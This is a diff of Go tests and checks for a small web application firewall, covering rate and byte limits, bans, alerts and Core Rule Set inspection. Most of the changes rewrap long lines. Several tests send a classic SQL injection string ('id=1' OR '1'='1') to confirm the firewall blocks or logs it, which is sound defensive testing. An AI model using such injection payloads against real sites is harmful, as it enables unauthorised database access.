t.Errorf("log line has limit_hit %q, want %s", line.LimitHit, minuteBytes)
t.Errorf(
"log line has limit_hit %q, want %s",
line.LimitHit,
minuteBytes,
)
}
wantPercent(t, "bytes_limit_percent",
@@ -128,7 +136,11 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
// fromKP, which no setting lists, has the whole limit.
line = s.uploadFrom(fromKP)
if line.LimitHit != "" {
t.Errorf("log line for %s has limit_hit %q, want none", fromKP, line.LimitHit)
t.Errorf(
"log line for %s has limit_hit %q, want none",
fromKP,
line.LimitHit,
)
}
wantPercent(t, "bytes_limit_percent",
@@ -137,7 +149,9 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
}
}
func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(t *testing.T) {
func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
t *testing.T,
) {
t.Parallel()
for _, tc := range []struct {
@@ -178,7 +192,11 @@ func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(t *testing.T)
// The upload's 100 bytes are over 99, half of 199, and within 199.
line := s.uploadFrom(fromDE)
if line.LimitHit != tc.limitHit {
t.Errorf("log line has limit_hit %q, want %q", line.LimitHit, tc.limitHit)
t.Errorf(
"log line has limit_hit %q, want %q",
line.LimitHit,
tc.limitHit,
)
}
wantPercent(t, "rate_limit_percent",
@@ -194,16 +212,26 @@ func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(t *testing.T)
func TestZeroPercentIsAZeroAllowance(t *testing.T) {
t.Parallel()
s, _, _ := startWithLookups(t, map[string]string{unknownLimitPercent: "0"})
s, _, _ := startWithLookups(
t,
map[string]string{unknownLimitPercent: "0"},
)
// The first request breaks the limit, and bans the client; the log line
// gives the 0.
line := s.get(unplaced, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
line := s.get(
unplaced,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
if line.fields["rate_limit_percent"] != float64(0) ||
line.fields["rate_limit_percent_setting"] != unknownLimitPercent {
t.Errorf("log line has rate_limit_percent %v from %v, want 0 from %s",
line.fields["rate_limit_percent"], line.fields["rate_limit_percent_setting"],
unknownLimitPercent)
t.Errorf(
"log line has rate_limit_percent %v from %v, want 0 from %s",
line.fields["rate_limit_percent"],
line.fields["rate_limit_percent_setting"],
unknownLimitPercent,
)
}
s.get(unplaced, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
@@ -256,7 +284,11 @@ func TestLowestPercentageApplies(t *testing.T) {
// A quarter of 4 requests a minute: the second breaks the limit.
s.get(tc.from, http.StatusOK, requestlog.ActionForward)
line := s.get(tc.from, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
line := s.get(
tc.from,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
wantPercent(t, "rate_limit_percent",
line.RateLimitPercent, line.RateLimitPercentSetting,
tc.want)
@@ -264,7 +296,9 @@ func TestLowestPercentageApplies(t *testing.T) {
}
}
func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(t *testing.T) {
func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(
t *testing.T,
) {
t.Parallel()
s, _, _ := startWithLookups(t, map[string]string{
@@ -276,7 +310,11 @@ func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(t *test
for _, from := range []string{unplaced, "10.0.0.8"} {
s.get(from, http.StatusOK, requestlog.ActionForward)
s.get(from, http.StatusOK, requestlog.ActionForward)
s.get(from, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
s.get(
from,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
}
// One in a country has the whole limit.
@@ -300,7 +338,12 @@ func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) {
serveFromDE(t, server, http.MethodGet, http.NoBody)
line := out.requestLine(t)
wantLine(t, line, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
wantLine(
t,
line,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
wantPercent(t, "rate_limit_percent",
line.RateLimitPercent, line.RateLimitPercentSetting,
"0 from "+unknownLimitPercent)
@@ -341,7 +384,12 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
})
began := time.Now()
serveFromDE(t, server, http.MethodPost, strings.NewReader("ab"))
serveFromDE(
t,
server,
http.MethodPost,
strings.NewReader("ab"),
)
want := time.Duration(0)
if tc.waits {
@@ -349,10 +397,19 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
}
if waited := time.Since(began); waited != want {
t.Errorf("the request waited %s for its answer, want %s", waited, want)
t.Errorf(
"the request waited %s for its answer, want %s",
waited,
want,
)
}
wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionForward)
wantLine(
t,
out.requestLine(t),
http.StatusOK,
requestlog.ActionForward,
)
// The bubble's clock stops once this function returns, so the
// request to GeoJS, which a request that did not wait leaves
@@ -363,7 +420,9 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
}
}
func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(t *testing.T) {
func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(
t *testing.T,
) {
t.Parallel()
for _, tc := range []struct {
@@ -405,8 +464,8 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(t *testing.T
s.uploadFrom(fromDE)
}
s.requestWithBody(http.MethodPost, fromDE, "/", uploadHeader, uploadBody,
tc.status, tc.action)
s.requestWithBody(http.MethodPost, fromDE, "/", uploadHeader,
uploadBody, tc.status, tc.action)
held := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32"))
if len(held) != 1 {
@@ -415,7 +474,11 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(t *testing.T
notes := held[0].Notes
if held[0].Reason != tc.reason {
t.Errorf("the ban's reason is %q, want %q", held[0].Reason, tc.reason)
t.Errorf(
"the ban's reason is %q, want %q",
held[0].Reason,
tc.reason,
)
}
wantPercent(t, "the notes' limit_percent", notes.LimitPercent,
@@ -423,12 +486,21 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(t *testing.T
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 1 {
t.Fatalf("%d alerts wait, want the ban's alone: %+v", len(waiting), waiting)
t.Fatalf(
"%d alerts wait, want the ban's alone: %+v",
len(waiting),
waiting,
)
}
alerted, _ := waiting[0].Detail["notes"].(bans.Notes)
wantPercent(t, "the alert's notes' limit_percent", alerted.LimitPercent,
alerted.LimitPercentSetting, tc.want)
wantPercent(
t,
"the alert's notes' limit_percent",
alerted.LimitPercent,
alerted.LimitPercentSetting,
tc.want,
)
})
}
}
@@ -462,7 +534,10 @@ func startWithLookupsAndClock(
noCountry + "/32": {ASN: "AS64500", ASName: "Nowhere Net"},
})
settings := map[string]string{lookupSource: fileSource, lookupDBPath: path}
settings := map[string]string{
lookupSource: fileSource,
lookupDBPath: path,
}
maps.Copy(settings, env)
return startAppWithAlerts(t, readAndAnswer, settings)
@@ -472,8 +547,15 @@ func startWithLookupsAndClock(
func (s *sender) uploadFrom(from string) logLine {
s.t.Helper()
line, _ := s.requestWithBody(http.MethodPost, from, "/", uploadHeader, uploadBody,
http.StatusOK, requestlog.ActionForward)
line, _ := s.requestWithBody(
http.MethodPost,
from,
"/",
uploadHeader,
uploadBody,
http.StatusOK,
requestlog.ActionForward,
)
return line
}
@@ -496,7 +578,12 @@ func serveFromDE(
// wantPercent checks a limit percentage that a log line or a ban's notes
// give, what, and the setting that gave it, against want, as percentText
// gives them.
func wantPercent(t *testing.T, what string, percent *int64, setting, want string) {
func wantPercent(
t *testing.T,
what string,
percent *int64,
setting, want string,
) {
t.Helper()
if got := percentText(percent, setting); got != want {
+5 -1
View File
@@ -18,7 +18,11 @@ type blocklists struct{}
func (blocklists) name() string { return "blocklists" }
func (blocklists) check(_ context.Context, rq *request, _ time.Time) *verdict {
func (blocklists) check(
_ context.Context,
rq *request,
_ time.Time,
) *verdict {
listedBy := rq.h.lists.ListedBy(rq.client)
rq.blocklisted = len(listedBy) > 0
rq.noteListed(listedBy, "listed by a blocklist")
+11 -3
View File
@@ -20,13 +20,21 @@ type byteLimits struct{}
func (byteLimits) name() string { return "byte_limits" }
func (byteLimits) check(_ context.Context, rq *request, now time.Time) *verdict {
func (byteLimits) check(
_ context.Context,
rq *request,
now time.Time,
) *verdict {
if !rq.counted || rq.line.WouldAction != "" {
return nil
}
counts, hit, over := rq.h.limiter.CountBytes(rq.h.clientGroup(rq.client), now,
rq.countedBytes(), rq.bytesLimitPercent.percent)
counts, hit, over := rq.h.limiter.CountBytes(
rq.h.clientGroup(rq.client),
now,
rq.countedBytes(),
rq.bytesLimitPercent.percent,
)
rq.line.Counts.MinuteBytes = counts.MinuteBytes
rq.line.Counts.HourBytes = counts.HourBytes
rq.line.Counts.DayBytes = counts.DayBytes
+211 -65
View File
@@ -67,8 +67,11 @@ func TestEachByteLimitBansOnceTheResponseHasEnded(t *testing.T) {
// 70 bytes are within the limit of 99.
line, _ := s.download()
if line.LimitHit != "" || line.Offence != "" {
t.Errorf("log line has limit_hit %q and offence %q, want neither",
line.LimitHit, line.Offence)
t.Errorf(
"log line has limit_hit %q and offence %q, want neither",
line.LimitHit,
line.Offence,
)
}
// 140 bytes are over it. The response is passed on whole, and
@@ -79,18 +82,35 @@ func TestEachByteLimitBansOnceTheResponseHasEnded(t *testing.T) {
line, got := s.download()
if got.err != nil || len(got.body) != answerBytes ||
line.ResponseBytes != answerBytes {
t.Errorf("got %d bytes (%v), and the log line has response_bytes %d, "+
"want %d", len(got.body), got.err, line.ResponseBytes, answerBytes)
t.Errorf(
"got %d bytes (%v), and the log line has response_bytes %d, "+
"want %d",
len(got.body),
got.err,
line.ResponseBytes,
answerBytes,
)
}
if line.LimitHit != tc.window+"_bytes" || line.Offence != requestlog.OffenceLimit ||
if line.LimitHit != tc.window+"_bytes" ||
line.Offence != requestlog.OffenceLimit ||
line.BanExpires != expires {
t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
"want %s_bytes, limit and %s", line.LimitHit, line.Offence,
line.BanExpires, tc.window, expires)
t.Errorf(
"log line has limit_hit %q, offence %q and ban_expires %q, "+
"want %s_bytes, limit and %s",
line.LimitHit,
line.Offence,
line.BanExpires,
tc.window,
expires,
)
}
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
s.get(
client,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
wantMetric(t, s.scrape(), `sww_rate_limit_hits_total{`+
`instance="`+alertInstance+`",kind="bytes",window="`+tc.window+`"}`, 1)
@@ -101,7 +121,10 @@ func TestEachByteLimitBansOnceTheResponseHasEnded(t *testing.T) {
func TestByteLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
t.Parallel()
s, _ := startWithAnswers(t, map[string]string{bytesLimitPerMinute: byteLimit})
s, _ := startWithAnswers(
t,
map[string]string{bytesLimitPerMinute: byteLimit},
)
line, _ := s.download()
wantAfterAnswerHeuristic(t, line, "", "null")
@@ -120,9 +143,16 @@ func TestResponseOverAByteLimitByItselfIsPassedOnWhole(t *testing.T) {
// The answer's 70 bytes are over the limit of 50 on their own.
line, got := s.download()
if got.err != nil || len(got.body) != answerBytes || line.LimitHit != minuteBytes {
t.Errorf("got %d bytes (%v), and the log line has limit_hit %q, want %d and %s",
len(got.body), got.err, line.LimitHit, answerBytes, minuteBytes)
if got.err != nil || len(got.body) != answerBytes ||
line.LimitHit != minuteBytes {
t.Errorf(
"got %d bytes (%v), and the log line has limit_hit %q, want %d and %s",
len(got.body),
got.err,
line.LimitHit,
answerBytes,
minuteBytes,
)
}
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
@@ -138,13 +168,27 @@ func TestBytesOfAnAnswerThatBreaksOffAreCounted(t *testing.T) {
// The 70 bytes passed on before the app broke off are over the limit of
// 50, and ban the client for an hour.
line, got := s.requestWithBody(http.MethodGet, client, "/", "", "", http.StatusOK,
requestlog.ActionForward)
line, got := s.requestWithBody(
http.MethodGet,
client,
"/",
"",
"",
http.StatusOK,
requestlog.ActionForward,
)
if len(got.body) != answerBytes || line.LimitHit != minuteBytes ||
line.BanExpires != expires {
t.Errorf("got %d bytes, and the log line has limit_hit %q and ban_expires %q, "+
"want %d, %s and %s", len(got.body), line.LimitHit, line.BanExpires,
answerBytes, minuteBytes, expires)
t.Errorf(
"got %d bytes, and the log line has limit_hit %q and ban_expires %q, "+
"want %d, %s and %s",
len(got.body),
line.LimitHit,
line.BanExpires,
answerBytes,
minuteBytes,
expires,
)
}
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
@@ -164,19 +208,33 @@ func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) {
t.Run(tc.setting, func(t *testing.T) {
t.Parallel()
s, _, _, _ := startAppWithAlerts(t, answerAfterUpgrade, map[string]string{
bytesLimitPerMinute: "29", bytesCount: tc.setting,
})
s, _, _, _ := startAppWithAlerts(
t,
answerAfterUpgrade,
map[string]string{
bytesLimitPerMinute: "29", bytesCount: tc.setting,
},
)
// The client sends 30 bytes and the app 70, each over the limit
// of 29, which bans the client once the WebSocket has closed.
line := s.webSocket()
if line.LimitHit != minuteBytes || line.Counts.MinuteBytes != tc.counted {
t.Errorf("log line has limit_hit %q and minute_bytes %v, want %s and %v",
line.LimitHit, line.Counts.MinuteBytes, minuteBytes, tc.counted)
if line.LimitHit != minuteBytes ||
line.Counts.MinuteBytes != tc.counted {
t.Errorf(
"log line has limit_hit %q and minute_bytes %v, want %s and %v",
line.LimitHit,
line.Counts.MinuteBytes,
minuteBytes,
tc.counted,
)
}
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
s.get(
client,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
})
}
}
@@ -211,14 +269,25 @@ func TestBytesCountSaysWhichBytesCount(t *testing.T) {
}
counted := float64(i) * tc.each
if line.LimitHit != want || line.Counts.MinuteBytes != counted {
t.Errorf("request %d: log line has limit_hit %q and minute_bytes %v, "+
"want %q and %v", i, line.LimitHit, line.Counts.MinuteBytes,
want, counted)
if line.LimitHit != want ||
line.Counts.MinuteBytes != counted {
t.Errorf(
"request %d: log line has limit_hit %q and minute_bytes %v, "+
"want %q and %v",
i,
line.LimitHit,
line.Counts.MinuteBytes,
want,
counted,
)
}
}
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
s.get(
client,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
})
}
}
@@ -243,11 +312,24 @@ func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) {
{allowed, "/"}, {exempt, "/"}, {client, "/assets/app.js"},
} {
for range 2 {
line, _ := s.requestWithBody(http.MethodPost, sent.from, sent.path,
uploadHeader, uploadBody, http.StatusOK, requestlog.ActionForward)
if _, counted := line.fields["counts"]; counted || line.LimitHit != "" {
t.Errorf("%s %s: log line has counts %v and limit_hit %q, want neither",
sent.from, sent.path, line.fields["counts"], line.LimitHit)
line, _ := s.requestWithBody(
http.MethodPost,
sent.from,
sent.path,
uploadHeader,
uploadBody,
http.StatusOK,
requestlog.ActionForward,
)
if _, counted := line.fields["counts"]; counted ||
line.LimitHit != "" {
t.Errorf(
"%s %s: log line has counts %v and limit_hit %q, want neither",
sent.from,
sent.path,
line.fields["counts"],
line.LimitHit,
)
}
}
}
@@ -255,7 +337,11 @@ func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) {
// A path that is not exempt is counted, and breaks the limit.
line := s.upload()
if line.LimitHit != minuteBytes {
t.Errorf("log line has limit_hit %q, want %s", line.LimitHit, minuteBytes)
t.Errorf(
"log line has limit_hit %q, want %s",
line.LimitHit,
minuteBytes,
)
}
}
@@ -272,9 +358,14 @@ func TestByteLimitsOffCountTheBytesAndBanNoOne(t *testing.T) {
counted := float64(i * (bodyBytes + answerBytes))
if line.LimitHit != "" || line.Counts.MinuteBytes != counted ||
line.Counts.HourBytes != counted || line.Counts.DayBytes != counted {
t.Errorf("request %d: log line has limit_hit %q and counts %+v, "+
"want none and %v bytes in each window", i, line.LimitHit,
line.Counts, counted)
t.Errorf(
"request %d: log line has limit_hit %q and counts %+v, "+
"want none and %v bytes in each window",
i,
line.LimitHit,
line.Counts,
counted,
)
}
}
}
@@ -282,13 +373,24 @@ func TestByteLimitsOffCountTheBytesAndBanNoOne(t *testing.T) {
func TestBanForABrokenByteLimitHasItsNotesAndItsAlert(t *testing.T) {
t.Parallel()
s, clk, server, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
bytesLimitPerMinute: byteLimit,
})
s, clk, server, queue := startAppWithAlerts(
t,
readAndAnswer,
map[string]string{
bytesLimitPerMinute: byteLimit,
},
)
start := clk.Now()
s.requestWithBody(http.MethodPost, client, "/upload?part=1", uploadHeader,
uploadBody, http.StatusOK, requestlog.ActionForward)
s.requestWithBody(
http.MethodPost,
client,
"/upload?part=1",
uploadHeader,
uploadBody,
http.StatusOK,
requestlog.ActionForward,
)
netblock := netip.MustParsePrefix(client + "/32")
want := bans.Ban{
@@ -331,10 +433,14 @@ func TestBanForABrokenByteLimitHasItsNotesAndItsAlert(t *testing.T) {
func TestObserveModeLogsAndAlertsAByteLimitAndBansNoOne(t *testing.T) {
t.Parallel()
s, clk, server, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
mode: observe,
bytesLimitPerMinute: byteLimit,
})
s, clk, server, queue := startAppWithAlerts(
t,
readAndAnswer,
map[string]string{
mode: observe,
bytesLimitPerMinute: byteLimit,
},
)
start := clk.Now()
// No ban sets the client's counters back to zero, so each request
@@ -344,11 +450,17 @@ func TestObserveModeLogsAndAlertsAByteLimitAndBansNoOne(t *testing.T) {
line := s.upload()
wantWouldAction(t, line, "")
if line.LimitHit != minuteBytes || line.Offence != requestlog.OffenceLimit ||
if line.LimitHit != minuteBytes ||
line.Offence != requestlog.OffenceLimit ||
line.BanExpires != "" {
t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
"want %s, limit and none", line.LimitHit, line.Offence, line.BanExpires,
minuteBytes)
t.Errorf(
"log line has limit_hit %q, offence %q and ban_expires %q, "+
"want %s, limit and none",
line.LimitHit,
line.Offence,
line.BanExpires,
minuteBytes,
)
}
}
@@ -363,14 +475,18 @@ func TestObserveModeLogsAndAlertsAByteLimitAndBansNoOne(t *testing.T) {
notes, _ := waiting[0].Detail["notes"].(bans.Notes)
alert := banAlert(alerts.EventBan, start, client, bans.Ban{
Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
Netblock: netip.MustParsePrefix(
client + "/32",
), Cause: bans.CauseLimit,
Reason: "bytes per minute over the limit of " + byteLimit, Notes: notes,
}, requestlog.FormatTime(start.Add(time.Hour)))
alert.Detail["mode"] = observe
wantAlerts(t, queue, alert)
}
func TestObserveModeLeavesOutTheBytesOfARequestEnforceModeRefuses(t *testing.T) {
func TestObserveModeLeavesOutTheBytesOfARequestEnforceModeRefuses(
t *testing.T,
) {
t.Parallel()
s, _ := startWithAnswers(t, map[string]string{
@@ -388,9 +504,14 @@ func TestObserveModeLeavesOutTheBytesOfARequestEnforceModeRefuses(t *testing.T)
line := s.upload()
wantWouldAction(t, line, requestlog.ActionClientIsRateLimited)
if line.LimitHit != minute || line.Counts.MinuteBytes != bodyBytes+answerBytes {
t.Errorf("log line has limit_hit %q and minute_bytes %v, want minute and %d",
line.LimitHit, line.Counts.MinuteBytes, bodyBytes+answerBytes)
if line.LimitHit != minute ||
line.Counts.MinuteBytes != bodyBytes+answerBytes {
t.Errorf(
"log line has limit_hit %q and minute_bytes %v, want minute and %d",
line.LimitHit,
line.Counts.MinuteBytes,
bodyBytes+answerBytes,
)
}
}
@@ -440,7 +561,9 @@ func answerAfterUpgrade(w http.ResponseWriter, _ *http.Request) {
return
}
_, _ = buffered.WriteString(strings.Repeat("a", answerBytes-1) + "\n")
_, _ = buffered.WriteString(
strings.Repeat("a", answerBytes-1) + "\n",
)
_ = buffered.Flush()
}
}
@@ -470,8 +593,12 @@ func (s *sender) openWebSocket() (net.Conn, *bufio.Reader) {
s.t.Helper()
conn := dial(s.t, s.addr)
send(s.t, conn, "GET /socket HTTP/1.1\r\nHost: "+appHost+"\r\n"+forwardedFor+
": "+client+"\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\n")
send(
s.t,
conn,
"GET /socket HTTP/1.1\r\nHost: "+appHost+"\r\n"+forwardedFor+
": "+client+"\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\n",
)
err := conn.SetReadDeadline(time.Now().Add(waitLimit))
if err != nil {
@@ -488,7 +615,11 @@ func (s *sender) openWebSocket() (net.Conn, *bufio.Reader) {
_ = res.Body.Close()
if res.StatusCode != http.StatusSwitchingProtocols {
s.t.Fatalf("status %d, want %d", res.StatusCode, http.StatusSwitchingProtocols)
s.t.Fatalf(
"status %d, want %d",
res.StatusCode,
http.StatusSwitchingProtocols,
)
}
return conn, reader
@@ -503,14 +634,22 @@ func (s *sender) closeWebSocket(conn net.Conn) logLine {
line := s.out.endedLines(s.t, s.sent+1)[s.sent]
s.sent++
wantLine(s.t, line, http.StatusSwitchingProtocols, requestlog.ActionForward)
wantLine(
s.t,
line,
http.StatusSwitchingProtocols,
requestlog.ActionForward,
)
return line
}
// startWithAnswers is startAppWithAlerts in front of readAndAnswer, for a
// test that looks at neither the server nor the alerts.
func startWithAnswers(t *testing.T, env map[string]string) (*sender, *clock) {
func startWithAnswers(
t *testing.T,
env map[string]string,
) (*sender, *clock) {
t.Helper()
s, clk, _, _ := startAppWithAlerts(t, readAndAnswer, env)
@@ -524,8 +663,15 @@ func startWithAnswers(t *testing.T, env map[string]string) (*sender, *clock) {
func (s *sender) download() (logLine, answer) {
s.t.Helper()
return s.requestWithBody(http.MethodGet, client, "/", "", "", http.StatusOK,
requestlog.ActionForward)
return s.requestWithBody(
http.MethodGet,
client,
"/",
"",
"",
http.StatusOK,
requestlog.ActionForward,
)
}
// upload is download for a POST request with a body of bodyBytes, and
+15 -5
View File
@@ -25,9 +25,14 @@ type coreRuleSet struct{}
func (coreRuleSet) name() string { return "core_rule_set" }
func (coreRuleSet) check(_ context.Context, rq *request, _ time.Time) *verdict {
func (coreRuleSet) check(
_ context.Context,
rq *request,
_ time.Time,
) *verdict {
cfg := rq.h.config
if cfg.WAFMode == config.WAFModeOff || pathExempt(rq.in, cfg.WAFExemptPaths) {
if cfg.WAFMode == config.WAFModeOff ||
pathExempt(rq.in, cfg.WAFExemptPaths) {
return nil
}
@@ -38,7 +43,9 @@ func (coreRuleSet) check(_ context.Context, rq *request, _ time.Time) *verdict {
result, read, _ := rq.h.coreRuleSet.Inspect(rq.in, rq.client, rq.in.Body)
rq.requestBytes = int64(len(read))
rq.line.DurationCoreRuleSetMS = new(requestlog.Milliseconds(time.Since(start)))
rq.line.DurationCoreRuleSetMS = new(
requestlog.Milliseconds(time.Since(start)),
)
rq.line.CoreRuleSetRuleIDs = result.RuleIDs
rq.line.CoreRuleSetScore = &result.Score
@@ -61,8 +68,11 @@ func (coreRuleSet) check(_ context.Context, rq *request, _ time.Time) *verdict {
rq.blockedByCoreRuleSet = true
return &verdict{
action: requestlog.ActionBlockedByCoreRuleSet,
figures: map[string]any{figureScore: result.Score, "threshold": threshold},
action: requestlog.ActionBlockedByCoreRuleSet,
figures: map[string]any{
figureScore: result.Score,
"threshold": threshold,
},
}
}
+184 -72
View File
@@ -12,7 +12,6 @@ import (
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/waf"
)
// The Core Rule Set's settings the tests set, besides SWW_WAF_MODE, and
@@ -22,7 +21,6 @@ const (
wafDisabledRules = "SWW_WAF_DISABLED_RULES"
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
wafBodyLimit = "SWW_WAF_BODY_LIMIT"
apps = "SWW_APPS"
block = "block"
detect = "detect"
)
@@ -46,7 +44,12 @@ const sqlInjection = "/?id=1'%20OR%20'1'='1"
// core_rule_set_score, and that it has duration_core_rule_set_ms, or with no
// score, that it has none of the three: the Core Rule Set did not inspect the
// request.
func wantCoreRuleSet(t *testing.T, line logLine, score *int, ruleIDs ...int) {
func wantCoreRuleSet(
t *testing.T,
line logLine,
score *int,
ruleIDs ...int,
) {
t.Helper()
if !slices.Equal(line.CoreRuleSetRuleIDs, ruleIDs) {
@@ -57,9 +60,12 @@ func wantCoreRuleSet(t *testing.T, line logLine, score *int, ruleIDs ...int) {
switch {
case score == nil &&
(line.CoreRuleSetScore != nil || line.DurationCoreRuleSetMS != nil):
t.Errorf("log line has core_rule_set_score %v and "+
"duration_core_rule_set_ms %v, want neither",
line.fields["core_rule_set_score"], line.fields["duration_core_rule_set_ms"])
t.Errorf(
"log line has core_rule_set_score %v and "+
"duration_core_rule_set_ms %v, want neither",
line.fields["core_rule_set_score"],
line.fields["duration_core_rule_set_ms"],
)
case score != nil &&
(line.CoreRuleSetScore == nil || *line.CoreRuleSetScore != *score):
t.Errorf("log line has core_rule_set_score %v, want %d",
@@ -84,11 +90,21 @@ func TestCoreRuleSetMatchAddsTheExploitSignatureTag(t *testing.T) {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode})
s, _, _ := startWithClock(
t,
"",
map[string]string{wafMode: tc.mode},
)
wantTags(t, s.request(client, sqlInjection, tc.status, tc.action),
"exploitsignature")
wantTags(t, s.get(client, http.StatusOK, requestlog.ActionForward))
wantTags(
t,
s.request(client, sqlInjection, tc.status, tc.action),
"exploitsignature",
)
wantTags(
t,
s.get(client, http.StatusOK, requestlog.ActionForward),
)
})
}
}
@@ -105,7 +121,9 @@ func TestDetectedAttackIsRefusedByTagDenyLast(t *testing.T) {
wantHeuristic(t, line, "tag_deny", `{"tag": "exploitsignature"}`)
}
func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(t *testing.T) {
func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(
t *testing.T,
) {
t.Parallel()
for _, attack := range []struct {
@@ -144,10 +162,19 @@ func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(t *test
{block, requestlog.ActionBlockedByCoreRuleSet, http.StatusForbidden},
{detect, requestlog.ActionForward, http.StatusOK},
} {
s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode})
s, _, _ := startWithClock(
t,
"",
map[string]string{wafMode: tc.mode},
)
line := s.requestWithHeader(client, attack.path, attack.header,
tc.status, tc.action)
line := s.requestWithHeader(
client,
attack.path,
attack.header,
tc.status,
tc.action,
)
wantCoreRuleSet(t, line, &attack.score, attack.ruleIDs...)
}
})
@@ -169,8 +196,12 @@ func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) {
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
line := s.request(client, "/owner/repo/src/branch/main/README.md?display=source",
http.StatusOK, requestlog.ActionForward)
line := s.request(
client,
"/owner/repo/src/branch/main/README.md?display=source",
http.StatusOK,
requestlog.ActionForward,
)
wantCoreRuleSet(t, line, new(0))
}
@@ -190,26 +221,48 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
// A client in SWW_ALLOW_NETS, and a path SWW_WAF_EXEMPT_PATHS
// exempts, are not inspected.
line := s.request(allowed, sqlInjection, http.StatusOK, requestlog.ActionForward)
line := s.request(
allowed,
sqlInjection,
http.StatusOK,
requestlog.ActionForward,
)
wantCoreRuleSet(t, line, nil)
line = s.request(client, "/api/v1/repos?id=1'%20OR%20'1'='1", http.StatusOK,
requestlog.ActionForward)
line = s.request(
client,
"/api/v1/repos?id=1'%20OR%20'1'='1",
http.StatusOK,
requestlog.ActionForward,
)
wantCoreRuleSet(t, line, nil)
// The prefix is matched as rate limit exempt paths are: a path that
// goes up and out of it is inspected.
line = s.request(client, "/api/../?id=1'%20OR%20'1'='1", http.StatusForbidden,
requestlog.ActionBlockedByCoreRuleSet)
line = s.request(
client,
"/api/../?id=1'%20OR%20'1'='1",
http.StatusForbidden,
requestlog.ActionBlockedByCoreRuleSet,
)
wantCoreRuleSet(t, line, new(25), 930100, 930110, 942100)
// A request a rule file refuses is not inspected.
line = s.request(otherClient, "/blocked?id=1'%20OR%20'1'='1", http.StatusForbidden,
requestlog.ActionBlockedByBlockRule)
line = s.request(
otherClient,
"/blocked?id=1'%20OR%20'1'='1",
http.StatusForbidden,
requestlog.ActionBlockedByBlockRule,
)
wantCoreRuleSet(t, line, nil)
// With SWW_WAF_MODE off, no request is.
s, _, _ = startWithClock(t, "", map[string]string{wafMode: off})
line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
line = s.request(
client,
sqlInjection,
http.StatusOK,
requestlog.ActionForward,
)
wantCoreRuleSet(t, line, nil)
}
@@ -223,7 +276,12 @@ func TestAnomalyThreshold(t *testing.T) {
wafMode: block, wafAnomalyThreshold: threshold,
})
line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
line := s.request(
client,
sqlInjection,
http.StatusOK,
requestlog.ActionForward,
)
wantCoreRuleSet(t, line, new(5), 942100)
}
@@ -271,9 +329,20 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
}
// By default, the rules are switched off.
